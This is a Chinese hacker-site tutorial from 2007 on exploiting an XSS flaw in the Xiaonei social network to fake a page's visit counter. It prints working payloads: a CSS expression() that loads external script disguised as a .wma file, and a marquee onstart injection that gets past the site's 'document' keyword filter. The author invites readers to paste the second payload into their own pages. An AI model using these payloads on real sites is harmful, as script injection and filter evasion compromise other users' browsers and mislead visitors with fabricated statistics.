黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客入门 >> 电脑新手 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]利用校内网XSS漏洞更改访问量
      ★★★★★

利用校内网XSS漏洞更改访问量

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-7-7 9:00:29

本来不想提校内网的XSS来着,因为太多,没有提的必要。

不过最近室友争着问我为什么有的人的空间访问量已经达到了几千万(在百度这里相对比较容易,因为文章的访问也算在内。而校内网的不算,所以几百万算是天文数字了),而且数字还在以每秒钟若干的数据增长!所以这里也给大家看下。

懂XSS的好友知道,这里便是利用上XSS了。看了看他们的代码(涂鸦板),大致如下:

以下是引用片段:
<link href="A308676992321RAT.wma" type="text/css" rel="stylesheet" />
<div class=addJs>A247165747728HOR.wma</div>

其中A308676992321RAT.wma里的代码如下:

以下是引用片段:
.addJs{
display:none;
background:expression((this.innerHTML!="")?(((this.innerHTML=unescape("jsfile=document.createElement%28%27script%27%29;jsfile.src=%27"+this.innerHTML+"%27;document.body.insertAdjacentElement%28%27BeforeBegin%27,jsfile%29;"))&&(eval(this.innerHTML))&&(this.innerHTML=""))==null?'red':'green'):'blue');
}

A247165747728HOR.wma里的代码如下:

以下是引用片段:
function ChangeVcount()
{
var mc=28;
var mcc=parseInt(getEl('vcount').innerText);
mc+=mcc;
getEl('vcount').innerText=mc;
setTimeout("ChangeVcount()", 1000);
return true ;
}
ChangeVcount();

上面的代码挺有意思,甚至用到了Ajax Hacking的相关技术。

利用层叠样式表中的expression生成script标签,并将src指向A247165747728HOR.wma,在A247165747728HOR.wma里的getEl是校内网页面里定义好的document.getElementById的一个缩写函数:
function getEl(el){
return document.all?document.all[el]:document.getElementById(el);
}
其实懂js的朋友看校内网的代码都会感觉很差异,因为它里面已经有prototype.js了,但似乎在它那里有些大材小用了。汗,不应该说人家!继续说上面的代码!代码二先定义了一个基数,获取当前的访问量并加上基数,然后每一秒中执行一次。这样就达到了访问量不断增加的目的。

这个套路跟我当初通过百度的自定义CSS来增加版块的套路是一模一样的。但是同样的问题是在这里有些大材小用了。我当初之所以那么做是因为Ajax 不支持跨域操作的,但它这里似乎不存在此问题。而且另外一个问题是由于expression是不断检查属性的,所以当页面滚动或其他刷新操作时,cpu会占用很大。

另外就是代码太冗余了,所以我就又给室友编了一个,如果也想在校内网炫一把的好友可以参考着加入:
<marquee width="0.1px" onstart="vcount.innerHTML=new Date().getTime();">.</marquee>
marquee是文字移动标签,onstart事件是marquee独有的,当Marquee元素开始显示内容时触发此事件(所以这个事件是循环的)。除此之外还有onfinish:当Marquee元素完成需要显示的内容后触发此事件;onbounce:在Marquee内的内容移动至 Marquee显示范围之外时触发此事件(firefox和opera不支持这三个事件)。这里把width设为了0.1px(有些浏览器可能不支持到小数),是希望在最短的时间内响应事件,相当于给函数加上settimeout。当然用marqueed的scrollamount属性也可以,一般设为 100就够快的了。但用width的原因是隐藏那个仅有的“.”。

在onstart里的代码只有一句:vcount.innerHTML=new Date().getTime();

由于校内网屏蔽了“document”这个字符串,所以这里我没有使用document.getElementByID("vcount"),而是直接使用vcount,这仅在当前页面的脚本是允许的,一般如果是调用的js就会出错。innerHTML是插入HTML文档,后面的就是插入内容了。让我们看看插入了什么?——当前的时间,不过是一个不断增加的数字串,这个数字串的值是通过计算当前时间减去1970年1月1日所得到的毫秒级的时间串(1 万亿多哦!而且永远是递增的,不像他那个每回刷新都重新开始。如果嫌大,就除以一个1000变成秒,呵呵)。

好了,内容应该很简单,主要是给大家一个思路,往往变通地使用技术会更方便。

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886